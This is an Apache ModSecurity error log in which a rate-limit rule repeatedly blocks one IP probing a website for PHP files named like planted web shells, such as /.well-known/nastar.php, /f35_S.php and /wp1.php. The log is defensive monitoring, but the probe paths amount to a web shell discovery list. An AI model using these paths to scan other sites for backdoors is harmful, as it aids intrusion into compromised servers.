[Tue Apr 21 17:58:05.454971 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:5851] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aedKLTeHLhVUuu8cVXwRlAAAAE0"]
[Tue Apr 21 17:58:05.928577 2026] [:error] [pid 35321:tid 35393] [client 20.199.181.135:5719] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aedKLTeHLhVUuu8cVXwRlgAAAEk"]
[Tue Apr 21 17:58:06.401731 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:50516] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aedKLjeHLhVUuu8cVXwRmAAAAFE"]
[Tue Apr 21 17:58:06.874280 2026] [:error] [pid 35321:tid 35392] [client 20.199.181.135:49058] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aedKLjeHLhVUuu8cVXwRmgAAAEg"]
[Tue Apr 21 17:58:07.345338 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:5595] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "aedKLzeHLhVUuu8cVXwRnAAAAEc"]
[Tue Apr 21 17:58:07.833595 2026] [:error] [pid 35321:tid 35390] [client 20.199.181.135:40512] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "aedKLzeHLhVUuu8cVXwRoAAAAEY"]
[Tue Apr 21 17:58:08.306603 2026] [:error] [pid 35322:tid 35372] [client 20.199.181.135:53204] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "aedKMKPoAfV40BTfVKzQNQAAAI8"]
[Tue Apr 21 17:58:08.778788 2026] [:error] [pid 35322:tid 35371] [client 20.199.181.135:53233] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2.php"] [unique_id "aedKMKPoAfV40BTfVKzQNgAAAI4"]
[Tue Apr 21 17:58:09.251497 2026] [:error] [pid 54080:tid 54089] [client 20.199.181.135:36125] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "aedKMYzEbQHHxtmWbaaOwwAAAsc"]
[Tue Apr 21 17:58:09.724551 2026] [:error] [pid 53978:tid 53988] [client 20.199.181.135:35179] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "aedKMZ1ivsR4hcOSQbbqlQAAAog"]
[Tue Apr 21 17:58:10.197553 2026] [:error] [pid 53978:tid 53993] [client 20.199.181.135:49476] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "aedKMp1ivsR4hcOSQbbqlwAAAo0"]
[Tue Apr 21 17:58:10.670049 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:49477] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3.php"] [unique_id "aedKMjeHLhVUuu8cVXwRpQAAAE0"]
[Tue Apr 21 17:58:11.143972 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:36141] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "aedKMzeHLhVUuu8cVXwRqAAAAFE"]
[Tue Apr 21 17:58:11.616773 2026] [:error] [pid 54080:tid 54106] [client 20.199.181.135:5606] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "aedKM4zEbQHHxtmWbaaOxgAAAtg"]
[Tue Apr 21 17:58:12.089408 2026] [:error] [pid 53731:tid 53735] [client 20.199.181.135:49419] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "aedKNF2I9THUR-bRVGwg_QAAAgA"]
[Tue Apr 21 17:58:12.562092 2026] [:error] [pid 53832:tid 53852] [client 20.199.181.135:35181] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/4.php"] [unique_id "aedKNNzkuxsE_OhM9UJNxwAAAlE"]
[Tue Apr 21 17:58:13.034935 2026] [:error] [pid 35415:tid 35446] [client 20.199.181.135:5727] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "aedKNUiqDinI4_22zzhlUQAAANM"]
[Tue Apr 21 17:58:13.507528 2026] [:error] [pid 54080:tid 54096] [client 20.199.181.135:5723] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "aedKNYzEbQHHxtmWbaaOzQAAAs4"]
[Tue Apr 21 17:58:13.980968 2026] [:error] [pid 53978:tid 53990] [client 20.199.181.135:5729] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "aedKNZ1ivsR4hcOSQbbqmgAAAoo"]
[Tue Apr 21 17:58:14.452629 2026] [:error] [pid 54080:tid 54099] [client 20.199.181.135:5725] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5.php"] [unique_id "aedKNozEbQHHxtmWbaaO0gAAAtE"]
[Tue Apr 21 17:58:14.925716 2026] [:error] [pid 53832:tid 53857] [client 20.199.181.135:49470] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "aedKNtzkuxsE_OhM9UJNzQAAAlY"]
[Tue Apr 21 17:58:15.396437 2026] [:error] [pid 53978:tid 53997] [client 20.199.181.135:5865] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "aedKN51ivsR4hcOSQbbqngAAApE"]
[Tue Apr 21 17:58:15.868128 2026] [:error] [pid 35415:tid 35445] [client 20.199.181.135:49450] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "aedKN0iqDinI4_22zzhlUwAAANI"]
[Tue Apr 21 17:58:16.339957 2026] [:error] [pid 53731:tid 53737] [client 20.199.181.135:49432] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6.php"] [unique_id "aedKOF2I9THUR-bRVGwhBQAAAgI"]
[Tue Apr 21 17:58:16.812212 2026] [:error] [pid 54080:tid 54087] [client 20.199.181.135:49415] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "aedKOIzEbQHHxtmWbaaO1QAAAsU"]
[Tue Apr 21 17:58:17.286379 2026] [:error] [pid 35320:tid 35332] [client 20.199.181.135:49412] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "aedKOYJW6fdXWO6agMFlsgAAAAI"]
[Tue Apr 21 17:58:17.761194 2026] [:error] [pid 53978:tid 53989] [client 20.199.181.135:35178] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "aedKOZ1ivsR4hcOSQbbqpwAAAok"]
[Tue Apr 21 17:58:18.234314 2026] [:error] [pid 35320:tid 35334] [client 20.199.181.135:36148] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/9.php"] [unique_id "aedKOoJW6fdXWO6agMFltwAAAAQ"]
[Tue Apr 21 17:58:18.706769 2026] [:error] [pid 53978:tid 53987] [client 20.199.181.135:53188] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aedKOp1ivsR4hcOSQbbqqQAAAoc"]
[Tue Apr 21 17:58:19.179047 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:5593] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aedKOzeHLhVUuu8cVXwRtwAAAEM"]
[Tue Apr 21 17:58:19.651593 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:49410] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aedKOzeHLhVUuu8cVXwRuwAAAEo"]
[Tue Apr 21 17:58:20.124583 2026] [:error] [pid 54080:tid 54101] [client 20.199.181.135:35143] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aedKPIzEbQHHxtmWbaaO2AAAAtM"]
[Tue Apr 21 17:58:20.599157 2026] [:error] [pid 35322:tid 35369] [client 20.199.181.135:35188] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "aedKPKPoAfV40BTfVKzQNwAAAIw"]
[Tue Apr 21 17:58:21.071110 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:51116] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "aedKPTeHLhVUuu8cVXwRwQAAAEc"]
[Tue Apr 21 17:58:21.543528 2026] [:error] [pid 53731:tid 53760] [client 20.199.181.135:35190] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "aedKPV2I9THUR-bRVGwhCQAAAhg"]
[Tue Apr 21 17:58:22.015199 2026] [:error] [pid 53731:tid 53748] [client 20.199.181.135:51113] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/100.php"] [unique_id "aedKPl2I9THUR-bRVGwhDAAAAg0"]
[Tue Apr 21 17:58:22.486413 2026] [:error] [pid 53731:tid 53738] [client 20.199.181.135:65304] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aedKPl2I9THUR-bRVGwhEwAAAgM"]
[Tue Apr 21 17:58:22.958499 2026] [:error] [pid 53978:tid 54000] [client 20.199.181.135:5571] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aedKPp1ivsR4hcOSQbbqqgAAApQ"]
[Tue Apr 21 17:58:23.431748 2026] [:error] [pid 4777:tid 4803] [client 20.199.181.135:5757] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aedKP6xXur6bykKyLZSZIwAAAQ8"]
[Tue Apr 21 17:58:23.915772 2026] [:error] [pid 35415:tid 35437] [client 20.199.181.135:14771] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aedKP0iqDinI4_22zzhlYwAAAMo"]
[Tue Apr 21 17:58:24.389330 2026] [:error] [pid 35415:tid 35441] [client 20.199.181.135:49502] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aedKQEiqDinI4_22zzhlZAAAAM4"]
[Tue Apr 21 17:58:24.862216 2026] [:error] [pid 54080:tid 54087] [client 20.199.181.135:49475] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aedKQIzEbQHHxtmWbaaO3gAAAsU"]
[Tue Apr 21 17:58:25.345870 2026] [:error] [pid 53978:tid 53996] [client 20.199.181.135:14772] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aedKQZ1ivsR4hcOSQbbqrwAAApA"]
[Tue Apr 21 17:58:25.818104 2026] [:error] [pid 53978:tid 53981] [client 20.199.181.135:23850] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aedKQZ1ivsR4hcOSQbbqsgAAAoE"]
[Tue Apr 21 17:58:26.289971 2026] [:error] [pid 35320:tid 35354] [client 20.199.181.135:23812] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2026w.php"] [unique_id "aedKQoJW6fdXWO6agMFlzAAAABg"]
[Tue Apr 21 17:58:26.760120 2026] [:error] [pid 35320:tid 35345] [client 20.199.181.135:23840] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2026w.php"] [unique_id "aedKQoJW6fdXWO6agMFlzgAAAA8"]
[Tue Apr 21 17:58:27.232504 2026] [:error] [pid 53978:tid 53980] [client 20.199.181.135:65319] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2026w.php"] [unique_id "aedKQ51ivsR4hcOSQbbqtgAAAoA"]
[Tue Apr 21 17:58:27.705693 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:23827] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2026w.php"] [unique_id "aedKQzeHLhVUuu8cVXwR3wAAAFI"]
[Tue Apr 21 17:58:28.178406 2026] [:error] [pid 35321:tid 35398] [client 20.199.181.135:51099] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/111.php"] [unique_id "aedKRDeHLhVUuu8cVXwR5QAAAE4"]
[Tue Apr 21 17:58:28.650528 2026] [:error] [pid 53731:tid 53752] [client 20.199.181.135:24920] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/111.php"] [unique_id "aedKRF2I9THUR-bRVGwhNQAAAhA"]
[Tue Apr 21 17:58:29.122690 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:5762] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/111.php"] [unique_id "aedKRYJW6fdXWO6agMFl0gAAAAk"]
[Tue Apr 21 17:58:29.595390 2026] [:error] [pid 35320:tid 35349] [client 20.199.181.135:29519] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/111.php"] [unique_id "aedKRYJW6fdXWO6agMFl1AAAABM"]
[Tue Apr 21 17:58:30.065132 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:52412] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp1.php"] [unique_id "aedKRjeHLhVUuu8cVXwR8AAAAFI"]
[Tue Apr 21 17:58:30.536129 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:29530] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp1.php"] [unique_id "aedKRjeHLhVUuu8cVXwR9QAAAEA"]
[Tue Apr 21 17:58:31.006470 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:5453] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp1.php"] [unique_id "aedKRzeHLhVUuu8cVXwR-gAAAEo"]
[Tue Apr 21 17:58:31.476011 2026] [:error] [pid 54080:tid 54094] [client 20.199.181.135:60852] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp1.php"] [unique_id "aedKR4zEbQHHxtmWbaaO4QAAAsw"]
